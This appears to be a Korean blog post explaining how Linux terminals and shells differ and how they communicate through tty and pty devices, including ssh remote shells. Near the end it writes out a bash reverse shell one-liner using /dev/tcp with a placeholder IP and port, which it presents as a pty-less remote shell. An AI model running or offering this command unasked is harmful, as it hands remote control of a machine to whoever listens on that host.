리눅스에서 뭔가 있어보이는(?) 검정 화면 아이콘을 클릭하면 terminal, shell을 실행시킬 수 있다. shell이 실행되는 방식에 대해 정확히 알고자 한다.
개발자끼리 소통을 할 때 shell과 terminal을 딱히 구분해서 표현하지 않지만 둘은 엄연히 다른 프로그램이다.
터미널은 shell을 실행시키고 shell과 유저 사이에서 유저의 입력을 shell에 전달해주는 인터페이스 프로그램이다.
Shell은 terminal이 전달하는 유저의 명령을 해석하고 실행시키는 프로그램이다.
그런데 유저의 명령을 받고 해석하고 실행시키는 부분을 하나의 프로그램으로 만들어 되는데 왜 굳이 terminal과 shell을 분리했을까?
유저의 입력 받는 부분(terminal)과 유저의 입력을 해석하는 부분(shell)으로 각 프로그램이 집중해야 하는 작업을 분리하기 위한 것도 있지만 shell의 종류가 다양한 이유도 있다. shell에는 zsh, bash, sh 등 다양한 shell이 있고 유저는 그중 자신이 원하는 shell을 선택해서 사용한다. Shell의 종류가 다양하기 때문에 터미널이라는 중간 관리자 프로그램을 두어서 다양한 shell을 일관되게 관리하도록 만들었다.
실제로 ps를 통해 shell(zsh)과 terminal의 pid, ppid를 확인해보면 terminal이 shell을 실행시킨 것을 알 수 있다.

그렇다면 terminal과 shell은 어떻게 데이터를 주고 받을까?
terminal과 shell이 데이터를 주고받는 pty에 대해 알아보려면 tty에 대해 알아야 한다. tty는 teletypewriter의 줄임말로 실제 물리적인 포트를 통해 연결되는 컴퓨터 마우스, 모니터, 키보드와 같은 컴퓨터 주변기기 사이의 데이터 통로인 드라이버이다.
pts는 pseudo-tty의 줄임말로 실제 물리적인 포트를 통해 연결되지 않는 terminal 프로세스와 shell 프로세스 사이의 데이터 통로인 드라이버이다. terminal과 shell은 모두 프로세스로 이들 사이의 데이터 통신은 프로세스와 프로세스 사이의 데이터 통신이지만 pipe를 사용하지 않는 이유는 terminal과 shell의 데이터 통신은 내부적으로 pipe를 사용하는 것보다 복잡하게 이루어지기 때문이라고 한다.

실제 리눅스 terminal에서 tty 명령어를 사용해서 terminal과 shell이 통신하는 드라이버를 찾아보면 /dev/pts/x 라는 것을 확인할 수 있다.
유저 - Terminal - pty - Shell
그렇다면 클라이언트의 터미널로 원격 서버에서 실행시킨 shell을 조작하는 remote shell의 경우는 어떻게 만들어질 수 있는 것일까?
ssh를 이용해 remote shell을 이용하는 경우에는 서버의 ssh 서버(sshd)가 pty를 생성하여 ssh를 통해 들어온 유저의 입력을 pty를 통해 shell로 전달시킨다.
/bin/bash &> /dev/tcp/[IP]/[port] 0>&1
위와 같이 remote shell을 이용하는 경우에는 TCP 소캣을 이용해서 유저가 터미널에 입력한 데이터를 주고받게 된다. 이 경우에는 pty를 이용하지 않기 때문에 터미널 작업이 원활하게 진행되지 못한다.